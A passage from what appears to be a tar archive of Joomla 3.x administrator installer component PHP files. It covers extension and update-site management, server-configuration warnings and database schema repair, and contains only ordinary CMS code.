			if (!$model->publish($ids, $value))
			{
				JError::raiseWarning(500, implode('<br />', $model->getErrors()));
			}
			else
			{
				if ($value == 1)
				{
					$ntext = 'COM_INSTALLER_N_EXTENSIONS_PUBLISHED';
				}
				elseif ($value == 0)
				{
					$ntext = 'COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED';
				}

				$this->setMessage(JText::plural($ntext, count($ids)));
			}
		}

		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=manage', false));
	}

	/**
	 * Remove an extension (Uninstall).
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function remove()
	{
		// Check for request forgeries.
		$this->checkToken();

		$eid = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$eid = array_filter($eid);

		if (!empty($eid))
		{
			/** @var InstallerModelManage $model */
			$model = $this->getModel('manage');

			$model->remove($eid);
		}

		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=manage', false));
	}

	/**
	 * Refreshes the cached metadata about an extension.
	 *
	 * Useful for debugging and testing purposes when the XML file might change.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function refresh()
	{
		// Check for request forgeries.
		$this->checkToken();

		$uid = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$uid = array_filter($uid);

		if (!empty($uid))
		{
			/** @var InstallerModelManage $model */
			$model = $this->getModel('manage');

			$model->refresh($uid);
		}

		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=manage', false));
	}
}
com_installer/models/updatesites.php000060400000035444152455305310013736 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerModel', __DIR__ . '/extension.php');

/**
 * Installer Update Sites Model
 *
 * @since  3.4
 */
class InstallerModelUpdatesites extends InstallerModel
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   3.4
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'update_site_name',
				'name',
				'client_id',
				'client', 'client_translated',
				'status',
				'type', 'type_translated',
				'folder', 'folder_translated',
				'update_site_id',
				'enabled',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	protected function populateState($ordering = 'name', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.client_id', $this->getUserStateFromRequest($this->context . '.filter.client_id', 'filter_client_id', null, 'int'));
		$this->setState('filter.enabled', $this->getUserStateFromRequest($this->context . '.filter.enabled', 'filter_enabled', '', 'string'));
		$this->setState('filter.type', $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type', '', 'string'));
		$this->setState('filter.folder', $this->getUserStateFromRequest($this->context . '.filter.folder', 'filter_folder', '', 'string'));

		parent::populateState($ordering, $direction);
	}

	/**
	 * Enable/Disable an extension.
	 *
	 * @param   array  $eid    Extension ids to un/publish
	 * @param   int    $value  Publish value
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.4
	 *
	 * @throws  Exception on ACL error
	 */
	public function publish(&$eid = array(), $value = 1)
	{
		if (!JFactory::getUser()->authorise('core.edit.state', 'com_installer'))
		{
			throw new Exception(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'), 403);
		}

		$result = true;

		// Ensure eid is an array of extension ids
		if (!is_array($eid))
		{
			$eid = array($eid);
		}

		// Get a table object for the extension type
		$table = JTable::getInstance('Updatesite');

		// Enable the update site in the table and store it in the database
		foreach ($eid as $i => $id)
		{
			$table->load($id);
			$table->enabled = $value;

			if (!$table->store())
			{
				$this->setError($table->getError());
				$result = false;
			}
		}

		return $result;
	}

	/**
	 * Deletes an update site.
	 *
	 * @param   array  $ids  Extension ids to delete.
	 *
	 * @return  void
	 *
	 * @since   3.6
	 *
	 * @throws  Exception on ACL error
	 */
	public function delete($ids = array())
	{
		if (!JFactory::getUser()->authorise('core.delete', 'com_installer'))
		{
			throw new Exception(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'), 403);
		}

		// Ensure eid is an array of extension ids
		if (!is_array($ids))
		{
			$ids = array($ids);
		}

		$db  = JFactory::getDbo();
		$app = JFactory::getApplication();

		$count = 0;

		// Gets the update site names.
		$query = $db->getQuery(true)
			->select($db->qn(array('update_site_id', 'name')))
			->from($db->qn('#__update_sites'))
			->where($db->qn('update_site_id') . ' IN (' . implode(', ', $ids) . ')');
		$db->setQuery($query);
		$updateSitesNames = $db->loadObjectList('update_site_id');

		// Gets Joomla core update sites Ids.
		$joomlaUpdateSitesIds = $this->getJoomlaUpdateSitesIds(0);

		// Enable the update site in the table and store it in the database
		foreach ($ids as $i => $id)
		{
			// Don't allow to delete Joomla Core update sites.
			if (in_array((int) $id, $joomlaUpdateSitesIds))
			{
				$app->enqueueMessage(JText::sprintf('COM_INSTALLER_MSG_UPDATESITES_DELETE_CANNOT_DELETE', $updateSitesNames[$id]->name), 'error');
				continue;
			}

			// Delete the update site from all tables.
			try
			{
				$query = $db->getQuery(true)
					->delete($db->qn('#__update_sites'))
					->where($db->qn('update_site_id') . ' = ' . (int) $id);
				$db->setQuery($query);
				$db->execute();

				$query = $db->getQuery(true)
					->delete($db->qn('#__update_sites_extensions'))
					->where($db->qn('update_site_id') . ' = ' . (int) $id);
				$db->setQuery($query);
				$db->execute();

				$query = $db->getQuery(true)
					->delete($db->qn('#__updates'))
					->where($db->qn('update_site_id') . ' = ' . (int) $id);
				$db->setQuery($query);
				$db->execute();

				$count++;
			}
			catch (RuntimeException $e)
			{
				$app->enqueueMessage(JText::sprintf('COM_INSTALLER_MSG_UPDATESITES_DELETE_ERROR', $updateSitesNames[$id]->name, $e->getMessage()), 'error');
			}
		}

		if ($count > 0)
		{
			$app->enqueueMessage(JText::plural('COM_INSTALLER_MSG_UPDATESITES_N_DELETE_UPDATESITES_DELETED', $count), 'message');
		}
	}

	/**
	 * Rebuild update sites tables.
	 *
	 * @return  void
	 *
	 * @since   3.6
	 *
	 * @throws  Exception on ACL error
	 */
	public function rebuild()
	{
		if (!JFactory::getUser()->authorise('core.admin', 'com_installer'))
		{
			throw new Exception(JText::_('COM_INSTALLER_MSG_UPDATESITES_REBUILD_NOT_PERMITTED'), 403);
		}

		$db  = JFactory::getDbo();
		$app = JFactory::getApplication();

		// Check if Joomla Extension plugin is enabled.
		if (!JPluginHelper::isEnabled('extension', 'joomla'))
		{
			$query = $db->getQuery(true)
				->select($db->quoteName('extension_id'))
				->from($db->quoteName('#__extensions'))
				->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
				->where($db->quoteName('element') . ' = ' . $db->quote('joomla'))
				->where($db->quoteName('folder') . ' = ' . $db->quote('extension'));
			$db->setQuery($query);

			$pluginId = (int) $db->loadResult();

			$link = JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . $pluginId);
			$app->enqueueMessage(JText::sprintf('COM_INSTALLER_MSG_UPDATESITES_REBUILD_EXTENSION_PLUGIN_NOT_ENABLED', $link), 'error');

			return;
		}

		$clients               = array(JPATH_SITE, JPATH_ADMINISTRATOR);
		$extensionGroupFolders = array('components', 'modules', 'plugins', 'templates', 'language', 'manifests');

		$pathsToSearch = array();

		// Identifies which folders to search for manifest files.
		foreach ($clients as $clientPath)
		{
			foreach ($extensionGroupFolders as $extensionGroupFolderName)
			{
				// Components, modules, plugins, templates, languages and manifest (files, libraries, etc)
				if ($extensionGroupFolderName != 'plugins')
				{
					foreach (glob($clientPath . '/' . $extensionGroupFolderName . '/*', GLOB_NOSORT | GLOB_ONLYDIR) as $extensionFolderPath)
					{
						$pathsToSearch[] = $extensionFolderPath;
					}
				}

				// Plugins (another directory level is needed)
				else
				{
					foreach (glob($clientPath . '/' . $extensionGroupFolderName . '/*', GLOB_NOSORT | GLOB_ONLYDIR) as $pluginGroupFolderPath)
					{
						foreach (glob($pluginGroupFolderPath . '/*', GLOB_NOSORT | GLOB_ONLYDIR) as $extensionFolderPath)
						{
							$pathsToSearch[] = $extensionFolderPath;
						}
					}
				}
			}
		}

		// Gets Joomla core update sites Ids.
		$joomlaUpdateSitesIds = implode(', ', $this->getJoomlaUpdateSitesIds(0));

		// First backup any custom extra_query for the sites
		$query = $db->getQuery(true)
			->select('TRIM(' . $db->quoteName('location') . ') AS ' . $db->quoteName('location') . ', ' . $db->quoteName('extra_query'))
			->from($db->quoteName('#__update_sites'));
		$db->setQuery($query);
		$backupExtraQuerys = $db->loadAssocList('location');

		// Delete from all tables (except joomla core update sites).
		$query = $db->getQuery(true)
			->delete($db->quoteName('#__update_sites'))
			->where($db->quoteName('update_site_id') . ' NOT IN (' . $joomlaUpdateSitesIds . ')');
		$db->setQuery($query);
		$db->execute();

		$query = $db->getQuery(true)
			->delete($db->quoteName('#__update_sites_extensions'))
			->where($db->quoteName('update_site_id') . ' NOT IN (' . $joomlaUpdateSitesIds . ')');
		$db->setQuery($query);
		$db->execute();

		$query = $db->getQuery(true)
			->delete($db->quoteName('#__updates'))
			->where($db->quoteName('update_site_id') . ' NOT IN (' . $joomlaUpdateSitesIds . ')');
		$db->setQuery($query);
		$db->execute();

		$count = 0;

		// Gets Joomla core extension Ids.
		$joomlaCoreExtensionIds = implode(', ', $this->getJoomlaUpdateSitesIds(1));

		// Search for updateservers in manifest files inside the folders to search.
		foreach ($pathsToSearch as $extensionFolderPath)
		{
			$tmpInstaller = new JInstaller;

			$tmpInstaller->setPath('source', $extensionFolderPath);

			// Main folder manifests (higher priority)
			$parentXmlfiles = JFolder::files($tmpInstaller->getPath('source'), '.xml$', false, true);

			// Search for children manifests (lower priority)
			$allXmlFiles    = JFolder::files($tmpInstaller->getPath('source'), '.xml$', 1, true);

			// Create an unique array of files ordered by priority
			$xmlfiles = array_unique(array_merge($parentXmlfiles, $allXmlFiles));

			if (!empty($xmlfiles))
			{
				foreach ($xmlfiles as $file)
				{
					// Is it a valid Joomla installation manifest file?
					$manifest = $tmpInstaller->isManifest($file);

					if (!is_null($manifest))
					{
						// Search if the extension exists in the extensions table. Excluding joomla core extensions and discovered but not yet installed extensions.
						$query = $db->getQuery(true)
							->select($db->quoteName('extension_id'))
							->from($db->quoteName('#__extensions'))
							->where('('
								. $db->quoteName('name') . ' = ' . $db->quote($manifest->name)
								. ' OR ' . $db->quoteName('name') . ' = ' . $db->quote($manifest->packagename)
								. ')' )
							->where($db->quoteName('type') . ' = ' . $db->quote($manifest['type']))
							->where($db->quoteName('extension_id') . ' NOT IN (' . $joomlaCoreExtensionIds . ')')
							->where($db->quoteName('state') . ' != -1');
						$db->setQuery($query);

						$eid = (int) $db->loadResult();

						if ($eid && $manifest->updateservers)
						{
							// Set the manifest object and path
							$tmpInstaller->manifest = $manifest;
							$tmpInstaller->setPath('manifest', $file);

							// Remove last extra_query as we are in a foreach
							$tmpInstaller->extraQuery = '';

							if ($tmpInstaller->manifest->updateservers
								&& $tmpInstaller->manifest->updateservers->server
								&& isset($backupExtraQuerys[trim((string) $tmpInstaller->manifest->updateservers->server)]))
							{
								$tmpInstaller->extraQuery = $backupExtraQuerys[trim((string) $tmpInstaller->manifest->updateservers->server)]['extra_query'];
							}

							// Load the extension plugin (if not loaded yet).
							JPluginHelper::importPlugin('extension', 'joomla');

							// Fire the onExtensionAfterUpdate
							JEventDispatcher::getInstance()->trigger('onExtensionAfterUpdate', array('installer' => $tmpInstaller, 'eid' => $eid));

							$count++;
						}
					}
				}
			}
		}

		if ($count > 0)
		{
			$app->enqueueMessage(JText::_('COM_INSTALLER_MSG_UPDATESITES_REBUILD_SUCCESS'), 'message');
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_INSTALLER_MSG_UPDATESITES_REBUILD_MESSAGE'), 'message');
		}
		
		// Flush the system cache to ensure extra_query is correctly loaded next time.
		$this->cleanCache('_system', 1);
	}

	/**
	 * Fetch the Joomla update sites ids.
	 *
	 * @param   integer  $column  Column to return. 0 for update site ids, 1 for extension ids.
	 *
	 * @return  array  Array with joomla core update site ids.
	 *
	 * @since   3.6.0
	 */
	protected function getJoomlaUpdateSitesIds($column = 0)
	{
		$db  = JFactory::getDbo();

		// Fetch the Joomla core update sites ids and their extension ids. We search for all except the core joomla extension with update sites.
		$query = $db->getQuery(true)
			->select($db->quoteName(array('use.update_site_id', 'e.extension_id')))
			->from($db->quoteName('#__update_sites_extensions', 'use'))
			->join('LEFT', $db->quoteName('#__update_sites', 'us') . ' ON ' . $db->qn('us.update_site_id') . ' = ' . $db->qn('use.update_site_id'))
			->join('LEFT', $db->quoteName('#__extensions', 'e') . ' ON ' . $db->qn('e.extension_id') . ' = ' . $db->qn('use.extension_id'))
			->where('('
				. '(' . $db->qn('e.type') . ' = ' . $db->quote('file') . ' AND ' . $db->qn('e.element') . ' = ' . $db->quote('joomla') . ')'
				. ' OR (' . $db->qn('e.type') . ' = ' . $db->quote('package') . ' AND ' . $db->qn('e.element') . ' = ' . $db->quote('pkg_en-GB') . ')'
				. ' OR (' . $db->qn('e.type') . ' = ' . $db->quote('component') . ' AND ' . $db->qn('e.element') . ' = ' . $db->quote('com_joomlaupdate') . ')'
				. ')'
			);

		$db->setQuery($query);

		return $db->loadColumn($column);
	}

	/**
	 * Method to get the database query
	 *
	 * @return  JDatabaseQuery  The database query
	 *
	 * @since   3.4
	 */
	protected function getListQuery()
	{
		$query = JFactory::getDbo()->getQuery(true)
			->select(
				array(
					's.update_site_id',
					's.name AS update_site_name',
					's.type AS update_site_type',
					's.location',
					's.enabled',
					's.extra_query',
					'e.extension_id',
					'e.name',
					'e.type',
					'e.element',
					'e.folder',
					'e.client_id',
					'e.state',
					'e.manifest_cache',
				)
			)
			->from('#__update_sites AS s')
			->innerJoin('#__update_sites_extensions AS se ON (se.update_site_id = s.update_site_id)')
			->innerJoin('#__extensions AS e ON (e.extension_id = se.extension_id)')
			->where('state = 0');

		// Process select filters.
		$enabled  = $this->getState('filter.enabled');
		$type     = $this->getState('filter.type');
		$clientId = $this->getState('filter.client_id');
		$folder   = $this->getState('filter.folder');

		if ($enabled != '')
		{
			$query->where('s.enabled = ' . (int) $enabled);
		}

		if ($type)
		{
			$query->where('e.type = ' . $this->_db->quote($type));
		}

		if ($clientId != '')
		{
			$query->where('e.client_id = ' . (int) $clientId);
		}

		if ($folder != '' && in_array($type, array('plugin', 'library', '')))
		{
			$query->where('e.folder = ' . $this->_db->quote($folder == '*' ? '' : $folder));
		}

		// Process search filter (update site id).
		$search = $this->getState('filter.search');

		if (!empty($search) && stripos($search, 'id:') === 0)
		{
			$query->where('s.update_site_id = ' . (int) substr($search, 3));
		}

		// Note: The search for name, ordering and pagination are processed by the parent InstallerModel class (in extension.php).

		return $query;
	}
}
com_installer/models/warnings.php000060400000010006152455305310013217 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Installer Warnings Model
 *
 * @since  1.6
 */
class InstallerModelWarnings extends JModelList
{
	/**
	 * Extension Type
	 * @var	string
	 */
	public $type = 'warnings';

	/**
	 * Return the byte value of a particular string.
	 *
	 * @param   string  $val  String optionally with G, M or K suffix
	 *
	 * @return  integer   size in bytes
	 *
	 * @since 1.6
	 */
	public function return_bytes($val)
	{
		if (empty($val))
		{
			return 0;
		}

		$val = trim($val);

		preg_match('#([0-9]+)[\s]*([a-z]+)#i', $val, $matches);

		$last = '';

		if (isset($matches[2]))
		{
			$last = $matches[2];
		}

		if (isset($matches[1]))
		{
			$val = (int) $matches[1];
		}

		switch (strtolower($last))
		{
			case 'g':
			case 'gb':
				$val *= 1024;
			case 'm':
			case 'mb':
				$val *= 1024;
			case 'k':
			case 'kb':
				$val *= 1024;
		}

		return (int) $val;
	}

	/**
	 * Load the data.
	 *
	 * @return  array  Messages
	 *
	 * @since   1.6
	 */
	public function getItems()
	{
		static $messages;

		if ($messages)
		{
			return $messages;
		}

		$messages = array();
		$file_uploads = ini_get('file_uploads');

		if (!$file_uploads)
		{
			$messages[] = array('message' => JText::_('COM_INSTALLER_MSG_WARNINGS_FILEUPLOADSDISABLED'),
					'description' => JText::_('COM_INSTALLER_MSG_WARNINGS_FILEUPLOADISDISABLEDDESC'));
		}

		$upload_dir = ini_get('upload_tmp_dir');

		if (!$upload_dir)
		{
			$messages[] = array('message' => JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET'),
					'description' => JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSETDESC'));
		}
		else
		{
			if (!is_writeable($upload_dir))
			{
				$messages[] = array('message' => JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLE'),
						'description' => JText::sprintf('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLEDESC', $upload_dir));
			}
		}

		$config = JFactory::getConfig();
		$tmp_path = $config->get('tmp_path');

		if (!$tmp_path)
		{
			$messages[] = array('message' => JText::_('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSET'),
					'description' => JText::_('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSETDESC'));
		}
		else
		{
			if (!is_writeable($tmp_path))
			{
				$messages[] = array('message' => JText::_('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLE'),
						'description' => JText::sprintf('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLEDESC', $tmp_path));
			}
		}

		$memory_limit = $this->return_bytes(ini_get('memory_limit'));

		if ($memory_limit < (8 * 1024 * 1024) && $memory_limit != -1)
		{
			// 8MB
			$messages[] = array('message' => JText::_('COM_INSTALLER_MSG_WARNINGS_LOWMEMORYWARN'),
					'description' => JText::_('COM_INSTALLER_MSG_WARNINGS_LOWMEMORYDESC'));
		}
		elseif ($memory_limit < (16 * 1024 * 1024) && $memory_limit != -1)
		{
			// 16MB
			$messages[] = array('message' => JText::_('COM_INSTALLER_MSG_WARNINGS_MEDMEMORYWARN'),
					'description' => JText::_('COM_INSTALLER_MSG_WARNINGS_MEDMEMORYDESC'));
		}

		$post_max_size = $this->return_bytes(ini_get('post_max_size'));
		$upload_max_filesize = $this->return_bytes(ini_get('upload_max_filesize'));

		if ($post_max_size < $upload_max_filesize)
		{
			$messages[] = array('message' => JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOST'),
					'description' => JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOSTDESC'));
		}

		if ($post_max_size < (8 * 1024 * 1024)) // 8MB
		{
			$messages[] = array('message' => JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZE'),
					'description' => JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZEDESC'));
		}

		if ($upload_max_filesize < (8 * 1024 * 1024)) // 8MB
		{
			$messages[] = array('message' => JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE'),
					'description' => JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZEDESC'));
		}

		return $messages;
	}
}
com_installer/models/fields/location.php000060400000001557152455305310014460 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerHelper', JPATH_ADMINISTRATOR . '/components/com_installer/helpers/installer.php');

JFormHelper::loadFieldClass('list');

/**
 * Location field.
 *
 * @since  3.5
 */
class JFormFieldLocation extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var	   string
	 * @since  3.5
	 */
	protected $type = 'Location';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.5
	 */
	public function getOptions()
	{
		$options = InstallerHelper::getClientOptions();

		return array_merge(parent::getOptions(), $options);
	}
}
com_installer/models/fields/folder.php000060400000001554152455305310014120 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerHelper', JPATH_ADMINISTRATOR . '/components/com_installer/helpers/installer.php');

JFormHelper::loadFieldClass('list');

/**
 * Folder field.
 *
 * @since  3.5
 */
class JFormFieldFolder extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'Folder';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.5
	 */
	public function getOptions()
	{
		$options = InstallerHelper::getExtensionGroupes();

		return array_merge(parent::getOptions(), $options);
	}
}
com_installer/models/fields/extensionstatus.php000060400000001604152455305310016121 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerHelper', JPATH_ADMINISTRATOR . '/components/com_installer/helpers/installer.php');

JFormHelper::loadFieldClass('list');

/**
 * Extension Status field.
 *
 * @since  3.5
 */
class JFormFieldExtensionStatus extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'ExtensionStatus';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.5
	 */
	public function getOptions()
	{
		$options = InstallerHelper::getStateOptions();

		return array_merge(parent::getOptions(), $options);
	}
}
com_installer/models/fields/type.php000060400000001602152455305310013620 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerHelper', JPATH_ADMINISTRATOR . '/components/com_installer/helpers/installer.php');

JFormHelper::loadFieldClass('list');

/**
 * Form field for a list of extension types.
 *
 * @since  3.5
 */
class JFormFieldType extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var	   string
	 * @since  3.5
	 */
	protected $type = 'Type';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.5
	 */
	public function getOptions()
	{
		$options = InstallerHelper::getExtensionTypes();

		return array_merge(parent::getOptions(), $options);
	}
}
com_installer/models/database.php000060400000017170152455305310013144 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('InstallerModel', __DIR__ . '/extension.php');
JLoader::register('JoomlaInstallerScript', JPATH_ADMINISTRATOR . '/components/com_admin/script.php');

/**
 * Installer Database Model
 *
 * @since  1.6
 */
class InstallerModelDatabase extends InstallerModel
{
	protected $_context = 'com_installer.discover';

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'name', $direction = 'asc')
	{
		$app = JFactory::getApplication();
		$this->setState('message', $app->getUserState('com_installer.message'));
		$this->setState('extension_message', $app->getUserState('com_installer.extension_message'));
		$app->setUserState('com_installer.message', '');
		$app->setUserState('com_installer.extension_message', '');

		// Prepare the utf8mb4 conversion check table
		$this->prepareUtf8mb4StatusTable();

		parent::populateState($ordering, $direction);
	}

	/**
	 * Fixes database problems.
	 *
	 * @return  void
	 */
	public function fix()
	{
		if (!$changeSet = $this->getItems())
		{
			return false;
		}

		$changeSet->fix();
		$this->fixSchemaVersion($changeSet);
		$this->fixUpdateVersion();
		$installer = new JoomlaInstallerScript;
		$installer->deleteUnexistingFiles();
		$this->fixDefaultTextFilters();

		/*
		 * Finally, if the schema updates succeeded, make sure the database is
		 * converted to utf8mb4 or, if not supported by the server, compatible to it.
		 */
		$statusArray = $changeSet->getStatus();

		if (count($statusArray['error']) == 0)
		{
			$installer->convertTablesToUtf8mb4(false);
		}
	}

	/**
	 * Gets the changeset object.
	 *
	 * @return  JSchemaChangeset
	 */
	public function getItems()
	{
		$folder = JPATH_ADMINISTRATOR . '/components/com_admin/sql/updates/';

		try
		{
			$changeSet = JSchemaChangeset::getInstance($this->getDbo(), $folder);
		}
		catch (RuntimeException $e)
		{
			JFactory::getApplication()->enqueueMessage($e->getMessage(), 'warning');

			return false;
		}

		return $changeSet;
	}

	/**
	 * Method to get a JPagination object for the data set.
	 *
	 * @return  boolean
	 *
	 * @since   3.0.1
	 */
	public function getPagination()
	{
		return true;
	}

	/**
	 * Get version from #__schemas table.
	 *
	 * @return  mixed  the return value from the query, or null if the query fails.
	 *
	 * @throws Exception
	 */
	public function getSchemaVersion()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('version_id')
			->from($db->quoteName('#__schemas'))
			->where('extension_id = 700');
		$db->setQuery($query);
		$result = $db->loadResult();

		return $result;
	}

	/**
	 * Fix schema version if wrong.
	 *
	 * @param   JSchemaChangeSet  $changeSet  Schema change set.
	 *
	 * @return   mixed  string schema version if success, false if fail.
	 */
	public function fixSchemaVersion($changeSet)
	{
		// Get correct schema version -- last file in array.
		$schema = $changeSet->getSchema();

		// Check value. If ok, don't do update.
		if ($schema == $this->getSchemaVersion())
		{
			return $schema;
		}

		// Delete old row.
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->delete($db->quoteName('#__schemas'))
			->where($db->quoteName('extension_id') . ' = 700');
		$db->setQuery($query);
		$db->execute();

		// Add new row.
		$query->clear()
			->insert($db->quoteName('#__schemas'))
			->columns($db->quoteName('extension_id') . ',' . $db->quoteName('version_id'))
			->values('700, ' . $db->quote($schema));
		$db->setQuery($query);

		try
		{
			$db->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		return $schema;
	}

	/**
	 * Get current version from #__extensions table.
	 *
	 * @return  mixed   version if successful, false if fail.
	 */
	public function getUpdateVersion()
	{
		$table = JTable::getInstance('Extension');
		$table->load('700');
		$cache = new Registry($table->manifest_cache);

		return $cache->get('version');
	}

	/**
	 * Fix Joomla version in #__extensions table if wrong (doesn't equal JVersion short version).
	 *
	 * @return   mixed  string update version if success, false if fail.
	 */
	public function fixUpdateVersion()
	{
		$table = JTable::getInstance('Extension');
		$table->load('700');
		$cache = new Registry($table->manifest_cache);
		$updateVersion = $cache->get('version');
		$cmsVersion = new JVersion;

		if ($updateVersion == $cmsVersion->getShortVersion())
		{
			return $updateVersion;
		}

		$cache->set('version', $cmsVersion->getShortVersion());
		$table->manifest_cache = $cache->toString();

		if ($table->store())
		{
			return $cmsVersion->getShortVersion();
		}

		return false;
	}

	/**
	 * For version 2.5.x only
	 * Check if com_config parameters are blank.
	 *
	 * @return  string  default text filters (if any).
	 */
	public function getDefaultTextFilters()
	{
		$table = JTable::getInstance('Extension');
		$table->load($table->find(array('name' => 'com_config')));

		return $table->params;
	}

	/**
	 * For version 2.5.x only
	 * Check if com_config parameters are blank. If so, populate with com_content text filters.
	 *
	 * @return  mixed  boolean true if params are updated, null otherwise.
	 */
	public function fixDefaultTextFilters()
	{
		$table = JTable::getInstance('Extension');
		$table->load($table->find(array('name' => 'com_config')));

		// Check for empty $config and non-empty content filters.
		if (!$table->params)
		{
			// Get filters from com_content and store if you find them.
			$contentParams = JComponentHelper::getParams('com_content');

			if ($contentParams->get('filters'))
			{
				$newParams = new Registry;
				$newParams->set('filters', $contentParams->get('filters'));
				$table->params = (string) $newParams;
				$table->store();

				return true;
			}
		}
	}

	/**
	 * Prepare the table to save the status of utf8mb4 conversion
	 * Make sure it contains 1 initialized record if there is not
	 * already exactly 1 record.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private function prepareUtf8mb4StatusTable()
	{
		$db = JFactory::getDbo();

		$serverType = $db->getServerType();

		if ($serverType != 'mysql')
		{
			return;
		}

		$creaTabSql = 'CREATE TABLE IF NOT EXISTS ' . $db->quoteName('#__utf8_conversion')
			. ' (' . $db->quoteName('converted') . ' tinyint NOT NULL DEFAULT 0'
			. ') ENGINE=InnoDB';

		if ($db->hasUTF8mb4Support())
		{
			$creaTabSql = $creaTabSql
				. ' DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;';
		}
		else
		{
			$creaTabSql = $creaTabSql
				. ' DEFAULT CHARSET=utf8 DEFAULT COLLATE=utf8_unicode_ci;';
		}

		$db->setQuery($creaTabSql)->execute();

		$db->setQuery('SELECT COUNT(*) FROM ' . $db->quoteName('#__utf8_conversion') . ';');

		$count = $db->loadResult();

		if ($count > 1)
		{
			// Table messed up somehow, clear it
			$db->setQuery('DELETE FROM ' . $db->quoteName('#__utf8_conversion') . ';')
				->execute();
